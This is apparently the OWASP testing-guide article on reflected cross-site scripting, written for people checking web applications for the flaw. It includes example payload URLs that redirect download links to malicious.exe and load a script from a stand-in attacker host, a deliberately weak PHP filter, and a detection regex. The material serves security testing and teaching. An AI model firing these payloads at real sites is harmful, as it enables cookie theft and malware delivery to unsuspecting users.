Testing for Reflected Cross site scripting (OTG-INPVAL-001)

Brief Summary
Reflected Cross-site Scripting (XSS) is another name for non-persistent XSS, where the attack doesn't load with the vulnerable web application but is originated by the victim loading the offending URI. In this article we will see some ways to test a web application for this kind of vulnerability.

Description of the Issue
Reflected XSS attacks are also known as type 1 or non-persistent XSS attacks, and are the most frequent type of XSS attacks found nowadays.

When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests to the client. The common modus operandi of the attack includes a design step, in which the attacker creates and tests an offending URI, a social engineering step, in which she convinces her victims to load this URI on their browsers, and the eventual execution of the offending code &mdash; using the victim's credentials.

Commonly the attacker's code is written in the Javascript language, but other scripting languages are also used, e.g., ActionScript and VBScript.

Attackers typically leverage these vulnerabilities to install key loggers, steal victim cookies, perform clipboard theft, and change the content of the page (e.g., download links).

One of the important matters about exploiting XSS vulnerabilities is character encoding. In some cases, the web server or the web application could not be filtering some encodings of characters, so, for example, the web application might filter out " ", but might not filter %3cscript%3e which simply includes another encoding of tags. A nice tool for testing character encodings is OWASP's CAL9000.

Black Box testing
A black-box test will include at least three phases:

1. Detect input vectors. The tester must determine the web application's variables and how to input them in the web application. See the example below.

2. Analyze each input vector to detect potential vulnerabilities. To detect a XSS vulnerability, the tester will typically use specially crafted input data with each input vector. Such input data is typically harmless, but trigger responses from the web browser that manifest the vulnerability. Testing data can be generated by using a web application fuzzer or manually.

3. For each vulnerability reported in the previous phase, the tester will analyze the report and attempt to exploit it with an attack that has a realistic impact on the web application's security.

Example 1
For example, consider a site that has a welcome notice " Welcome %username% " and a download link. The tester must suspect that every data entry point can result in a XSS attack. To analyze it, the tester will play with the user variable and try to trigger the vulnerability. Let's try to click on the following link and see what happens: http://example.com/index.php?user= alert(123)

If no sanitization is applied this will result in the following popup: This indicates that there is a XSS vulnerability and it appears that the tester can execute code of his choice in anybody's browser if he clicks on the tester's link.

Example 2
Let's try other piece of code (link): http://example.com/index.php?user= window.onload = function {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }

This produces the following behavior: This will cause the user, clicking on the link supplied by the tester, to download the file malicious.exe from a site he controls.

Countermeasures
However, most web applications today use some sort of sanitization. Yet, some remain vulnerable. Reflected cross-site scripting attacks are prevented either at the side of the server, by sanitization or a web application firewall, or at the side of the client by prevention mechanisms that are embedded in modern web browsers.

Since most of the clients do not update their browsers, the tester cannot count on this and must test for vulnerabilities assuming that web browsers will not prevent the attack. ( Frei et al 2008 )

A web application or the web server (e.g., Apache's mod_rewrite module) can parse the URL matching a regular expression as a sanitization prcedure. For example the following regular expression can be used to detect (and block) alphanumeric characters between tags or slashes.

/((\%3C)|<)((\%2F)|\/)*[a-z0-9\%]+((\%3E)|>)/i

Hence, the above attack will not work. However, this regular expression does not completely fix the vulnerability. In a grey-box test, the tester might access the source code and analyze the sanitization procedure to decide if it can be circumvented.

Example 3
To black-box test whether there is a vulnerability or not, the tester will use many test vectors, each circumventing different sanitization procedures, hoping that one will work. For example, let's say that the following code is executed:

<? $re = "/]+src/i";

if (preg_match($re, $_GET['var'])) { echo "Filtered"; return; } echo "Welcome ".$_GET['var']." !"; ?>

In this scenario there is a regular expression checking if ' ] src is inserted. This is useful for filtering expressions like  , which is a common attack. But, in this case, it is possible to bypass the sanitization by using the ">" character in an attribute between script and src, like this:

http://www.example.com/?var="%20SRC="http://www.attacker.com/xss.js">

This will exploit the reflected cross site scripting vulnerability shown before, executing the javascript code stored on the attacker's web server as if it was originating from the victim web site, www.example.com.

A complete test will include instantiating a variable with several attack vectors (Check Fuzz vectors appendix and Encoded injection appendix).

Finally, analyzing answers can get complex. A simple way to do this is to use code that pops up a dialog, as in our example. This typically indicates that an attacker could execute arbitrary javascript of his choice in the visitors' browsers.